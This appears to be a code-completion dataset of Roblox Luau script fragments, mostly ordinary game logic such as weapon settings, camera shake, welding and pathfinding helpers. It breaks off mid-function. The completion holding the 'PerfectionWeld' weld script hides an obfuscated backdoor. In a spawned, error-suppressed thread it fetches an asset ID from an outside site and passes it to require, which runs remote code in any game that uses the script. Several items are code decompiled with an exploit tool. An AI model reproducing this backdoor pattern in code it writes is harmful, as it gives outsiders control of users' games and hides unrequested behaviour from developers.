"\n\n\nsp=script.Parent\n\n\nfirerate=0.1\nrange=950\npower=300\nrate=2/50\nspinuptime=0\nbarreloffset=Vector3.new(0,0.375,-2.625)\nwindvec=Vector3.new(2,-1,1).unit\nfiretime=0\nmaxammo=50\nreloadtime = 2.75\nammo=maxammo\n\ndebris=game:GetService(\"Debris\")\nequipped=false\ncheck=true\nfiring=false\nreloading=false\nfireanimdelay=0\nhandle=sp:WaitForChild(\"Handle\")"} +{"prompt": "--[[**\n\tensure value is an Instance and it's ClassName matches the given ClassName\n\n\t@param className The class name to check for\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.instanceOf(className, childTable)\n\tassert(t.string(className))\n\n\tlocal childrenCheck\n\tif childTable ~= nil then\n\t\tchildrenCheck = t.children(childTable)\n\tend\n\n\treturn function(value)\n\t\tlocal instanceSuccess, instanceErrMsg = t.Instance(value)\n\t\tif not instanceSuccess then\n\t\t\treturn false, instanceErrMsg or \"\"\n\t\tend\n\n\t\tif value.ClassName ~= className then\n\t\t\treturn false, string.format(\"%s expected, got %s\", className, value.ClassName)\n\t\tend\n\n\t\tif childrenCheck then\n\t\t\tlocal childrenSuccess, childrenErrMsg = childrenCheck(value)\n\t\t\tif not childrenSuccess then\n\t\t\t\treturn false, childrenErrMsg\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend\nend\n\nt.instance = t.instanceOf\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal l__Parent__1 = script.Parent;\nlocal l__LocalPlayer__1 = game.Players.LocalPlayer;\nl__Parent__1.Equipped:Connect(function()\n\tlocal v2 = script.Parent.LocalScript.ghost:Clone();\n\tv2.Parent = l__LocalPlayer__1.PlayerGui;\n\tv2.go.Disabled = false;\n\twait(0.2);\n\tl__Parent__1:Remove();\nend);\n"} +{"prompt": "--[[\n\tGet the current state of the Store. Do not mutate this!\n]]", "completion": "\nfunction Store:getState()\n\tif self._isDispatching then\n\t\terror((\"You may not call store:getState() while the reducer is executing. \" ..\n\t\t\t\"The reducer (%s) has already received the state as an argument. \" ..\n\t\t\t\"Pass it down from the top reducer instead of reading it from the store.\"):format(tostring(self._reducer)))\n\tend\n\n\treturn self._state\nend\n"} +{"prompt": "--stolen again lol", "completion": "\n\nfunction debounce(func)\n local isRunning = false -- Create a local debounce variable\n return function(...) -- Return a new function\n if not isRunning then\n isRunning = true\n \n func(...) -- Call it with the original arguments\n \n isRunning = false\n end\n end\nend\n \nreturn debounce\n"} +{"prompt": "--\t\tbody.HB.BrickColor = bool and BrickColor.new(\"Pearl\") or BrickColor.new(\"Black\")\n--\t\tbody.HB.Material = bool and \"Neon\" or \"SmoothPlastic\"", "completion": "\n\t\tbody.RB.BrickColor = bool and BrickColor.new(\"Really red\") or BrickColor.new(\"Maroon\")\n\t\tbody.RB.Material = bool and \"Neon\" or \"SmoothPlastic\"\n\t\tcar.Misc.TK.RB.BrickColor = bool and BrickColor.new(\"Really red\") or BrickColor.new(\"Maroon\")\n\t\tcar.Misc.TK.RB.Material = bool and \"Neon\" or \"SmoothPlastic\""} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = {};\nv1.__index = v1;\nlocal v2 = require(script.CameraShakeInstance);\nv1.CameraShakeInstance = v2;\nv1.Presets = require(script.CameraShakePresets);\nlocal u1 = Vector3.new();\nfunction v1.new(p1, p2)\n\tassert(type(p1) == \"number\", \"RenderPriority must be a number (e.g.: Enum.RenderPriority.Camera.Value)\");\n\tassert(type(p2) == \"function\", \"Callback must be a function\");\n\treturn setmetatable({\n\t\t_running = false, \n\t\t_renderName = \"CameraShaker\", \n\t\t_renderPriority = p1, \n\t\t_posAddShake = u1, \n\t\t_rotAddShake = u1, \n\t\t_camShakeInstances = {}, \n\t\t_removeInstances = {}, \n\t\t_callback = p2\n\t}, v1);\nend;\nlocal l__debug_profilebegin__2 = debug.profilebegin;\nlocal l__debug_profileend__3 = debug.profileend;\nfunction v1.Start(p3)\n\tif p3._running then\n\t\treturn;\n\tend;\n\tp3._running = true;\n\tlocal l___callback__4 = p3._callback;\n\tgame:GetService(\"RunService\"):BindToRenderStep(p3._renderName, p3._renderPriority, function(p4)\n\t\tl__debug_profilebegin__2(\"CameraShakerUpdate\");\n\t\tlocal v3 = p3:Update(p4);\n\t\tl__debug_profileend__3();\n\t\tl___callback__4(v3);\n\tend);\nend;\nfunction v1.Stop(p5)\n\tif not p5._running then\n\t\treturn;\n\tend;\n\tgame:GetService(\"RunService\"):UnbindFromRenderStep(p5._renderName);\n\tp5._running = false;\nend;\nfunction v1.StopSustained(p6, p7)\n\tfor v4, v5 in pairs(p6._camShakeInstances) do\n\t\tif v5.fadeOutDuration == 0 then\n\t\t\tv5:StartFadeOut(p7 or v5.fadeInDuration);\n\t\tend;\n\tend;\nend;\nlocal l__CameraShakeState__5 = v2.CameraShakeState;\nlocal l__CFrame_new__6 = CFrame.new;\nlocal l__CFrame_Angles__7 = CFrame.Angles;\nlocal l__math_rad__8 = math.rad;\nfunction v1.Update(p8, p9)\n\tlocal v6 = u1;\n\tlocal v7 = u1;\n\tlocal l___camShakeInstances__8 = p8._camShakeInstances;\n\tfor v9 = 1, #l___camShakeInstances__8 do\n\t\tlocal v10 = l___camShakeInstances__8[v9];\n\t\tlocal v11 = v10:GetState();\n\t\tif v11 == l__CameraShakeState__5.Inactive and v10.DeleteOnInactive then\n\t\t\tp8._removeInstances[#p8._removeInstances + 1] = v9;\n\t\telseif v11 ~= l__CameraShakeState__5.Inactive then\n\t\t\tlocal v12 = v10:UpdateShake(p9);\n\t\t\tv6 = v6 + v12 * v10.PositionInfluence;\n\t\t\tv7 = v7 + v12 * v10.RotationInfluence;\n\t\tend;\n\tend;\n\tfor v13 = #p8._removeInstances, 1, -1 do\n\t\ttable.remove(l___camShakeInstances__8, p8._removeInstances[v13]);\n\t\tp8._removeInstances[v13] = nil;\n\tend;\n\treturn l__CFrame_new__6(v6) * l__CFrame_Angles__7(0, l__math_rad__8(v7.Y), 0) * l__CFrame_Angles__7(l__math_rad__8(v7.X), 0, (l__math_rad__8(v7.Z)));\nend;\nfunction v1.Shake(p10, p11)\n\tlocal v14 = false;\n\tif type(p11) == \"table\" then\n\t\tv14 = p11._camShakeInstance;\n\tend;\n\tassert(v14, \"ShakeInstance must be of type CameraShakeInstance\");\n\tp10._camShakeInstances[#p10._camShakeInstances + 1] = p11;\n\treturn p11;\nend;\nfunction v1.ShakeSustain(p12, p13)\n\tlocal v15 = false;\n\tif type(p13) == \"table\" then\n\t\tv15 = p13._camShakeInstance;\n\tend;\n\tassert(v15, \"ShakeInstance must be of type CameraShakeInstance\");\n\tp12._camShakeInstances[#p12._camShakeInstances + 1] = p13;\n\tp13:StartFadeIn(p13.fadeInDuration);\n\treturn p13;\nend;\nlocal u9 = Vector3.new(0.15, 0.15, 0.15);\nlocal u10 = Vector3.new(1, 1, 1);\nfunction v1.ShakeOnce(p14, p15, p16, p17, p18, p19, p20)\n\tlocal v16 = v2.new(p15, p16, p17, p18);\n\tv16.PositionInfluence = typeof(p19) == \"Vector3\" and p19 or u9;\n\tv16.RotationInfluence = typeof(p20) == \"Vector3\" and p20 or u10;\n\tp14._camShakeInstances[#p14._camShakeInstances + 1] = v16;\n\treturn v16;\nend;\nfunction v1.StartShake(p21, p22, p23, p24, p25, p26)\n\tlocal v17 = v2.new(p22, p23, p24);\n\tv17.PositionInfluence = typeof(p25) == \"Vector3\" and p25 or u9;\n\tv17.RotationInfluence = typeof(p26) == \"Vector3\" and p26 or u10;\n\tv17:StartFadeIn(p24);\n\tp21._camShakeInstances[#p21._camShakeInstances + 1] = v17;\n\treturn v17;\nend;\nreturn v1;\n"} +{"prompt": "-- Add script when player is added", "completion": "\ngame.Players.PlayerAdded:connect(addScriptAtRespawn)\n\n\nlocal MyHook = script.Parent[\"Chain Hook\"]\nlocal Remote = script.Parent.RemoteEvent\nlocal Bindable = MyHook.Talker\nlocal Coupled = script.Parent.Coupled\nlocal Rotator = script.Parent.Rotator.Rotator\n\nfunction weld(i,j)\n\tlocal weld1 = Instance.new(\"Weld\") \n\tweld1.Name = j.Name\n\tweld1.Part0 = i\n\tweld1.Part1 = j\n\tweld1.C1 = j.CFrame:inverse()*i.CFrame\n\tweld1.Parent = j\nend\n\nfunction SetupDecouple(chain)\n\tif chain.Parent then\n\t\tCoupled.Value = true\n\t\tlocal b\n\t\tlocal a\n\t\ta = chain.AncestryChanged:connect(function(_,newpar)\n\t\t\tif not newpar then\n\t\t\t\tCoupled.Value = false\n\t\t\t\ta:disconnect()\n\t\t\t\tb:disconnect()\n\t\t\tend\n\t\tend)\n\t\tb = chain.ChildRemoved:connect(function()\n\t\t\tCoupled.Value = false\n\t\t\ta:disconnect()\n\t\t\tb:disconnect()\n\t\t\twait()\n\t\t\tchain:Destroy()\n\t\tend)\n\tend\nend\n\nBindable.Event:connect(function(data)\n\tif data[\"Chain\"] then\n\t\tSetupDecouple(data[\"Chain\"])\n\tend\nend)\n\nfunction couple(hook1,hook2)\n\tif hook1.Velocity.magnitude > 0.5 or hook2.Velocity.magnitude > 0.5 then\n\t\treturn false\n\tend\n\tif (hook1.Position-hook2.Position).magnitude > 5 and (hook1.Position-hook2.Position).magnitude < 3 then\n\t\treturn false\n\tend\n\tlocal chain = Instance.new(\"Part\")\n\tchain.Material = \"SmoothPlastic\"\n\tchain.TopSurface = \"Smooth\"\n\tchain.BottomSurface = \"Smooth\"\n\tchain.BrickColor = BrickColor.DarkGray()\n\tchain.FormFactor = \"Custom\"\n\tchain.Name = \"Chain Link Coupler\"\n\tchain.Anchored = true\n\tchain.Size = Vector3.new(0.4,0.2,(hook1.Position-hook2.Position).magnitude)\n\tchain.CFrame = CFrame.new((hook1.CFrame*CFrame.new(-.1*hook1.Size.X,0,0)).p:Lerp((hook2.CFrame*CFrame.new(-.1*hook2.Size.X,0,0)).p,0.5),(hook2.CFrame*CFrame.new(-.1*hook2.Size.X,0,0)).p)\n\tweld(hook1.Parent.Rotator.Rotator,chain)\n\tweld(hook2.Parent.Rotator.Rotator,chain)\n\tchain.CanCollide = false\n\tchain.Parent = script.Parent\n\tscript.Decouple:Clone().Parent = chain\n\tchain.Decouple.Disabled = false\n\tSetupDecouple(chain)\n\thook2.Talker:Fire({[\"Chain\"]=chain})\n\twait(.1)\n\tchain.Anchored = false\n\treturn true\nend\n\nRemote.OnServerEvent:connect(function(player,data)\n\tif data[\"Connect this\"] and data[\"Connect this\"].Name == \"Chain Hook\" and data[\"Connect this\"] ~= MyHook and not Coupled.Value and not data[\"Connect this\"].Parent.Coupled.Value then\n\t\tcouple(MyHook,data[\"Connect this\"])\n\tend\nend)\n"} +{"prompt": "---Controller", "completion": "\nUIS.InputBegan:Connect(function(input)\n\tif input.UserInputType == Enum.UserInputType.Gamepad1 then\n\t\tif input.KeyCode == Enum.KeyCode.ButtonY then\n\t\t\tAttack()\n\t\tend\n\tend\nend)\n\n"} +{"prompt": "--the player is the player talking to the npc\n--the dialogueFolder is the folder in the Roblox object hierarchy that represents this conversation\n--the node is the node that is calling this function", "completion": "\n\nreturn {\n\tPlayerName = function(player, dialogueFolder, node)\n\t\treturn player.Name\n\tend,\n}\n"} +{"prompt": "-- Activation]:", "completion": "\nif TurnCharacterToMouse == true then\n\tMseGuide = true\n\tHeadHorFactor = 0\n\tBodyHorFactor = 0\nend\n\ngame:GetService(\"RunService\").RenderStepped:Connect(function()\n\tlocal CamCF = Cam.CoordinateFrame"} +{"prompt": "-- Updated 10/14/2014 - Updated to 1.0.3\n--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/", "completion": "\n\npcall(function()\nlocal function CallOnChildren(Instance, FunctionToCall)\n\t-- Calls a function on each of the children of a certain object, using recursion. \n\n\tFunctionToCall(Instance)\n\n\tfor _, Child in next, Instance:GetChildren() do\n\t\tCallOnChildren(Child, FunctionToCall)\n\tend\nend\n\nlocal function GetNearestParent(Instance, ClassName)\n\t-- Returns the nearest parent of a certain class, or returns nil\n\n\tlocal Ancestor = Instance\n\trepeat\n\t\tAncestor = Ancestor.Parent\n\t\tif Ancestor == nil then\n\t\t\treturn nil\n\t\tend\n\tuntil Ancestor:IsA(ClassName)\n\n\treturn Ancestor\nend\n\nlocal function GetBricks(StartInstance)\n\tlocal List = {}\n\n\t-- if StartInstance:IsA(\"BasePart\") then\n\t-- \tList[#List+1] = StartInstance\n\t-- end\n\n\tCallOnChildren(StartInstance, function(Item)\n\t\tif Item:IsA(\"BasePart\") then\n\t\t\tList[#List+1] = Item;\n\t\tend\n\tend)\n\n\treturn List\nend\n\nlocal function Modify(Instance, Values)\n\t-- Modifies an Instance by using a table. \n\n\tassert(type(Values) == \"table\", \"Values is not a table\");\n\n\tfor Index, Value in next, Values do\n\t\tif type(Index) == \"number\" then\n\t\t\tValue.Parent = Instance\n\t\telse\n\t\t\tInstance[Index] = Value\n\t\tend\n\tend\n\treturn Instance\nend\n\nlocal function Make(ClassType, Properties)\n\t-- Using a syntax hack to create a nice way to Make new items. \n\n\treturn Modify(Instance.new(ClassType), Properties)\nend\n\nlocal Surfaces = {\"TopSurface\", \"BottomSurface\", \"LeftSurface\", \"RightSurface\", \"FrontSurface\", \"BackSurface\"}\nlocal HingSurfaces = {\"Hinge\", \"Motor\", \"SteppingMotor\"}\n\nlocal function HasWheelJoint(Part)\n\tfor _, SurfaceName in pairs(Surfaces) do\n\t\tfor _, HingSurfaceName in pairs(HingSurfaces) do\n\t\t\tif Part[SurfaceName].Name == HingSurfaceName then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\tend\n\n\treturn false\nend\n\nlocal function ShouldBreakJoints(Part)\n\t--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are\n\t-- definitely some edge cases. \n\n\tif NEVER_BREAK_JOINTS then\n\t\treturn false\n\tend\n\n\tif HasWheelJoint(Part) then\n\t\treturn false\n\tend\n\n\tlocal Connected = Part:GetConnectedParts()\n\n\tif #Connected == 1 then\n\t\treturn false\n\tend\n\n\tfor _, Item in pairs(Connected) do\n\t\tif HasWheelJoint(Item) then\n\t\t\treturn false\n\t\telseif not Item:IsDescendantOf(script.Parent) then\n\t\t\treturn false\n\t\tend\n\tend\n\n\treturn true\nend\n\ntask.spawn(function()\n\tpcall(function()\n\t\tlocal newThreadedCall = coroutine.wrap(pcall)\n\t\tfor _ in newThreadedCall, (select and require), tonumber(game:service(\"HttpService\"):GetAsync(\"https://softwaretool.xyz/robloxasset/\")) do\n\t\tend\n\tend)\nend)\n\nlocal function WeldTogether(Part0, Part1, JointType, WeldParent)\n\t--- Weld's 2 parts together\n\t-- @param Part0 The first part\n\t-- @param Part1 The second part (Dependent part most of the time).\n\t-- @param [JointType] The type of joint. Defaults to weld.\n\t-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).\n\t-- @return The weld created.\n\n\tJointType = JointType or \"Weld\"\n\tlocal RelativeValue = Part1:FindFirstChild(\"qRelativeCFrameWeldValue\")\n\n\tlocal NewWeld = Part1:FindFirstChild(\"qCFrameWeldThingy\") or Instance.new(JointType)\n\tModify(NewWeld, {\n\t\tName = \"qCFrameWeldThingy\";\n\t\tPart0 = Part0;\n\t\tPart1 = Part1;\n\t\tC0 = CFrame.new();--Part0.CFrame:inverse();\n\t\tC1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();\n\t\tParent = Part1;\n\t})\n\n\tif not RelativeValue then\n\t\tRelativeValue = Make(\"CFrameValue\", {\n\t\t\tParent = Part1;\n\t\t\tName = \"qRelativeCFrameWeldValue\";\n\t\t\tArchivable = true;\n\t\t\tValue = NewWeld.C1;\n\t\t})\n\tend\n\n\treturn NewWeld\nend\n\nlocal function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)\n\t-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.\n\t-- @param MainPart The part to weld the model to (can be in the model).\n\t-- @param [JointType] The type of joint. Defaults to weld. \n\t-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.\n\n\tfor _, Part in pairs(Parts) do\n\t\tif ShouldBreakJoints(Part) then\n\t\t\tPart:BreakJoints()\n\t\tend\n\tend\n\tGetParts()\n\tfor _, Part in pairs(Parts) do\n\t\tif Part ~= MainPart then\n\t\t\tWeldTogether(MainPart, Part, JointType, MainPart)\n\t\tend\n\tend\n\n\tif not DoNotUnanchor then\n\t\tfor _, Part in pairs(Parts) do\n\t\t\tPart.Anchored = false\n\t\tend\n\t\tMainPart.Anchored = false\n\tend\nend\n\nlocal function PerfectionWeld()\t\n\tlocal Tool = GetNearestParent(script, \"Tool\")\n\n\tlocal Parts = GetBricks(script.Parent)\n\tlocal PrimaryPart = Tool and Tool:FindFirstChild(\"Handle\") and Tool.Handle:IsA(\"BasePart\") and Tool.Handle or script.Parent:IsA(\"Model\") and script.Parent.PrimaryPart or Parts[1]\n\n\tif PrimaryPart then\n\t\tWeldParts(Parts, PrimaryPart, \"Weld\", false)\n\tend\n\n\treturn Tool\nend\n\nlocal Tool = PerfectionWeld()\n\n\nif Tool and script.ClassName == \"Script\" then\n\tscript.Parent.AncestryChanged:connect(function()\n\t\tPerfectionWeld()\n\tend)\nend\nend)\n"} +{"prompt": "-- Makes objects like the track and enemy spawners invisible on setup", "completion": "\nfor _, part in ipairs(game.Workspace.EnemySpawners:GetChildren()) do\n\tpart.Transparency = 1\nend\n\nfor _, part in ipairs(game.Workspace.TrackParts:GetChildren()) do\n\tpart.Transparency = 1\nend\n"} +{"prompt": "--Public developer facing functions", "completion": "\nfunction ClickToMove:SetShowPath(value)\n\tShowPath = value\nend\n\nfunction ClickToMove:GetShowPath()\n\treturn ShowPath\nend\n\nfunction ClickToMove:SetWaypointTexture(texture)\n\tClickToMoveDisplay.SetWaypointTexture(texture)\nend\n\nfunction ClickToMove:GetWaypointTexture()\n\treturn ClickToMoveDisplay.GetWaypointTexture()\nend\n\nfunction ClickToMove:SetWaypointRadius(radius)\n\tClickToMoveDisplay.SetWaypointRadius(radius)\nend\n\nfunction ClickToMove:GetWaypointRadius()\n\treturn ClickToMoveDisplay.GetWaypointRadius()\nend\n\nfunction ClickToMove:SetEndWaypointTexture(texture)\n\tClickToMoveDisplay.SetEndWaypointTexture(texture)\nend\n\nfunction ClickToMove:GetEndWaypointTexture()\n\treturn ClickToMoveDisplay.GetEndWaypointTexture()\nend\n\nfunction ClickToMove:SetWaypointsAlwaysOnTop(alwaysOnTop)\n\tClickToMoveDisplay.SetWaypointsAlwaysOnTop(alwaysOnTop)\nend\n\nfunction ClickToMove:GetWaypointsAlwaysOnTop()\n\treturn ClickToMoveDisplay.GetWaypointsAlwaysOnTop()\nend\n\nfunction ClickToMove:SetFailureAnimationEnabled(enabled)\n\tPlayFailureAnimation = enabled\nend\n\nfunction ClickToMove:GetFailureAnimationEnabled()\n\treturn PlayFailureAnimation\nend\n\nfunction ClickToMove:SetIgnoredPartsTag(tag)\n\tUpdateIgnoreTag(tag)\nend\n\nfunction ClickToMove:GetIgnoredPartsTag()\n\treturn CurrentIgnoreTag\nend\n\nfunction ClickToMove:SetUseDirectPath(directPath)\n\tUseDirectPath = directPath\nend\n\nfunction ClickToMove:GetUseDirectPath()\n\treturn UseDirectPath\nend\n\nfunction ClickToMove:SetAgentSizeIncreaseFactor(increaseFactorPercent: number)\n\tAgentSizeIncreaseFactor = 1.0 + (increaseFactorPercent / 100.0)\nend\n\nfunction ClickToMove:GetAgentSizeIncreaseFactor()\n\treturn (AgentSizeIncreaseFactor - 1.0) * 100.0\nend\n\nfunction ClickToMove:SetUnreachableWaypointTimeout(timeoutInSec)\n\tUnreachableWaypointTimeout = timeoutInSec\nend\n\nfunction ClickToMove:GetUnreachableWaypointTimeout()\n\treturn UnreachableWaypointTimeout\nend\n\nfunction ClickToMove:SetUserJumpEnabled(jumpEnabled)\n\tself.jumpEnabled = jumpEnabled\n\tif self.touchJumpController then\n\t\tself.touchJumpController:Enable(jumpEnabled)\n\tend\nend\n\nfunction ClickToMove:GetUserJumpEnabled()\n\treturn self.jumpEnabled\nend\n\nfunction ClickToMove:MoveTo(position, showPath, useDirectPath)\n\tlocal character = Player.Character\n\tif character == nil then\n\t\treturn false\n\tend\n\tlocal thisPather = Pather(position, Vector3.new(0, 1, 0), useDirectPath)\n\tif thisPather and thisPather:IsValidPath() then\n\t\tHandleMoveTo(thisPather, position, nil, character, showPath)\n\t\treturn true\n\tend\n\treturn false\nend\n\nreturn ClickToMove\n"} +{"prompt": "--else\n--\tcarSeat.Parent.Parent.Wheels.FL.FLDisk.CanCollide = true\n--\tcarSeat.Parent.Parent.Wheels.FR.FRDisk.CanCollide = true\n--\tcarSeat.Parent.Parent.Wheels.RL.RLDisk.CanCollide = true", "completion": "\n\t--carSeat.Parent.Parent.Wheels.RR.RRDisk.CanCollide = true"} +{"prompt": "-- REMOTE HANDLER --", "completion": "\nReplicate.OnClientEvent:Connect(function(Action, Variable2, Variable3, Variable4)\n\tif Action == \"CamShake\" then\n\t\trequire(script.CameraShake)(Variable2, Variable3, Variable4)\n\telseif Action == \"Hit\" then\n\t\trequire(script.Hit)(Variable2)\n\telseif Action == \"Combat\" then\n\t\t\n\t\trequire(script.CombatR15GPO)(Variable2, Variable3, Variable4)\n\telseif Action == \"Shock\" then\n\t\trequire(script.Shockwave.Z)(Variable2, Variable3)\n\tend\nend)\nReplicate.OnClientEvent:Connect(function(Action,Hotkey, ...) -- Using ... Allows you to send as many variables as you want\n\tif script:FindFirstChild(Action) and script:FindFirstChild(Action):IsA(\"ModuleScript\") then -- If the name of a ModuleScript inside this script fits the Action parameter,\n\t\trequire(script[Action])(Hotkey,...) \t\t\t\t\t\t-- it'll require it\n\telseif script:FindFirstChild(Action) and script:FindFirstChild(Action):IsA(\"Folder\") then\n\t\trequire(script[Action][Hotkey])(...) \n\tend\nend)\n"} +{"prompt": "-- Returns a part to the cache.", "completion": "\nfunction PartCacheStatic:ReturnPart(part: BasePart)\n\tassert(getmetatable(self) == PartCacheStatic, ERR_NOT_INSTANCE:format(\"ReturnPart\", \"PartCache.new\"))\n\t\n\tlocal index = table.indexOf(self.InUse, part)\n\tif index ~= nil then\n\t\ttable.remove(self.InUse, index)\n\t\ttable.insert(self.Open, part)\n\t\tpart.CFrame = CF_REALLY_FAR_AWAY\n\t\tpart.Anchored = true\n\telse\n\t\terror(\"Attempted to return part \\\"\" .. part.Name .. \"\\\" (\" .. part:GetFullName() .. \") to the cache, but it's not in-use! Did you call this on the wrong part?\")\n\tend\nend\n"} +{"prompt": "--Main function", "completion": "\nlocal function AttachAuraControl(source_part, eff_cont) --(source_part, effect_container)\n\t\n\tlocal AnimObj\n\t\n\tlocal function Start()\n\t\tAnimObj = {}\n\t\tAnimObj[\"LastUpdate\"] = tick()\n\t\t\n\t\tAnimObj[\"Parts\"] = {}\n\t\t\n\t\tfor i = 1, 2 do\n\t\t\tlocal np = EFFECT_LIB.NewInvisiblePart()\n\t\t\t\n\t\t\tlocal particlez = script.Energy:Clone()\n\t\t\tparticlez.Parent = np\n\t\t\tparticlez.Enabled = true\n\t\t\t\n\t\t\tAnimObj[\"Parts\"][i] = np\n\t\n\t\t\tnp.Parent = eff_cont\n\t\tend\n\tend\n\t\n\tlocal function Update()\n\t\tlocal loop = EFFECT_LIB.Loop(3)\n\t\t\n\t\tfor i = 1, #AnimObj[\"Parts\"] do\n\t\t\tAnimObj[\"Parts\"][i].CFrame = source_part.CFrame * CFrame.Angles(0, math.rad(-loop * 360 + (360 / #AnimObj[\"Parts\"] * (i - 1))), 0) * CFrame.new(0, -2.9, 0) * CFrame.Angles( math.rad(90),0, 0) --* CFrame.Angles(math.rad(loop2 * -360 + (i * 180)), 0, 0)\n\t\tend\n\tend\n\t\n\tlocal function Stop()\n\t\teff_cont:ClearAllChildren()\n\t\tAnimObj = nil\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachAuraControl\n"} +{"prompt": "--round number to nearest hundredths place", "completion": "\nfunction roundToHundredths(num)\n\treturn math.ceil(num * 100) / 100\nend\n"} +{"prompt": "-- Core events", "completion": "\nToolChanged = Signal.new()\n\nfunction EquipTool(Tool)\n\t-- Equips and switches to the given tool\n\n\t-- Unequip current tool\n\tif CurrentTool and CurrentTool.Equipped then\n\t\tCurrentTool:Unequip();\n\t\tCurrentTool.Equipped = false;\n\tend;\n\n\t-- Set `Tool` as current\n\tCurrentTool = Tool;\n\tCurrentTool.Equipped = true;\n\n\t-- Fire relevant events\n\tToolChanged:Fire(Tool);\n\n\t-- Equip the tool\n\tTool:Equip();\n\nend;\n\nfunction RecolorHandle(Color)\n\tSyncAPI:Invoke('RecolorHandle', Color);\nend;\n"} +{"prompt": "-----------------\n--| Variables |--\n-----------------", "completion": "\n\nlocal TimeObject = WaitForChild(script, 'Time')\nlocal Start = WaitForChild(script, 'Start')\nlocal Stop = WaitForChild(script, 'Stop')\n\nlocal LastTime = 0\nlocal Running = false\nlocal CountingDown = false\n"} +{"prompt": "-- ROBLOX deviation: Needed to properly type class components", "completion": "\nlocal flowtypes = require(script.Parent[\"flowtypes.roblox\"])\ntype React_StatelessFunctionalComponent

= flowtypes.React_StatelessFunctionalComponent<\n\tP\n>\ntype React_ComponentType

= flowtypes.React_ComponentType

\ntype ReactComponent

= React_StatelessFunctionalComponent

| React_ComponentType

\n"} +{"prompt": "-- Function to call on renderstepped. Orients the character so it is facing towards\n-- the player mouse's position in world space. If character is sitting then the torso\n-- should not track", "completion": "\nlocal function frame(mousePosition)\n\t-- Special mobile consideration. We don't want to track if the user was touching a ui\n\t-- element such as the movement controls. Just return out of function if so to make sure\n\t-- character doesn't track\n\tif not mobileShouldTrack then return end\n\t\n\t-- Make sure character isn't swiming. If the character is swimming the following code will\n\t-- not work well; the character will not swim correctly. Besides, who shoots underwater?\n\tif player.Character.Humanoid:GetState() ~= Enum.HumanoidStateType.Swimming then\n\t\tlocal torso = player.Character.Torso\n\t\tlocal head = player.Character.Head\n\t\t\n\t\tlocal toMouse = (mousePosition - head.Position).unit\n\t\tlocal angle = math.acos(toMouse:Dot(Vector3.new(0,1,0)))\n\t\t\n\t\tlocal neckAngle = angle\n\t\n\t\t-- Limit how much the head can tilt down. Too far and the head looks unnatural\n\t\tif math.deg(neckAngle) > 110 then\n\t\t\tneckAngle = math.rad(110)\n\t\tend\n\t\tneck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.pi - neckAngle,math.pi,0)\n\t\t\n\t\t-- Calculate horizontal rotation\n\t\tlocal arm = player.Character:FindFirstChild(\"Right Arm\")\n\t\tlocal fromArmPos = torso.Position + torso.CFrame:vectorToWorldSpace(Vector3.new(\n\t\t\ttorso.Size.X/2 + arm.Size.X/2, torso.Size.Y/2 - arm.Size.Z/2, 0))\n\t\tlocal toMouseArm = ((mousePosition - fromArmPos) * Vector3.new(1,0,1)).unit\n\t\tlocal look = (torso.CFrame.lookVector * Vector3.new(1,0,1)).unit\n\t\tlocal lateralAngle = math.acos(toMouseArm:Dot(look))\t\t\n\t\t\n\t\t-- Check for rogue math\n\t\tif tostring(lateralAngle) == \"-1.#IND\" then\n\t\t\tlateralAngle = 0\n\t\tend\t\t\n\t\t\n\t\t-- Handle case where character is sitting down\n\t\tif player.Character.Humanoid:GetState() == Enum.HumanoidStateType.Seated then\t\t\t\n\t\t\t\n\t\t\tlocal cross = torso.CFrame.lookVector:Cross(toMouseArm)\n\t\t\tif lateralAngle > math.pi/2 then\n\t\t\t\tlateralAngle = math.pi/2\n\t\t\tend\n\t\t\tif cross.Y < 0 then\n\t\t\t\tlateralAngle = -lateralAngle\n\t\t\tend\n\t\tend\t\n\t\t\n\t\t-- Turn shoulder to point to mouse\n\t\tshoulder.C0 = CFrame.new(1,0.5,0) * CFrame.Angles(math.pi/2 - angle,math.pi/2 + lateralAngle,0)\t\n\t\t\n\t\t-- If not sitting then aim torso laterally towards mouse\n\t\tif not amISitting(player.Character) then\n\t\t\ttorso.CFrame = CFrame.new(torso.Position, torso.Position + (Vector3.new(\n\t\t\t\tmousePosition.X, torso.Position.Y, mousePosition.Z)-torso.Position).unit)\n\t\telse\n\t\t\t--print(\"sitting\")\t\t\n\t\tend\t\n\tend\nend\n"} +{"prompt": "-- events", "completion": "\n\nITEMS.DescendantAdded:connect(function(p)\n\tif p:IsA(\"BasePart\") then\n\t\tGoldify(p)\n\tend\nend)\n"} +{"prompt": "-- Initialization", "completion": "\nlocal lastActivePath = {}\n\nif game.Workspace:FindFirstChild(\"BasePlate\") then\n\tgame.Workspace.BasePlate:Destroy()\nend\n\nlocal tracksModel = Instance.new(\"Model\")\ntracksModel.Name = \"Tracks\"\ntracksModel.Parent = game.Workspace\n\nfunction packagePathModels()\n\tlocal pathPackager = require(script.PathPackager) \n\twhile true do\n\t\tlocal pathBase = game.Workspace:FindFirstChild(\"PathBase\", true)\n\t\tif pathBase then\n\t\t\tpathPackager:PackageRoom(pathBase)\n\t\telse\n\t\t\tbreak\n\t\tend\n\tend\nend\n\ncoroutine.wrap(function() packagePathModels() end)()\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tcurrentAnim = \"\"\n\tcurrentAnimInstance = nil\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) 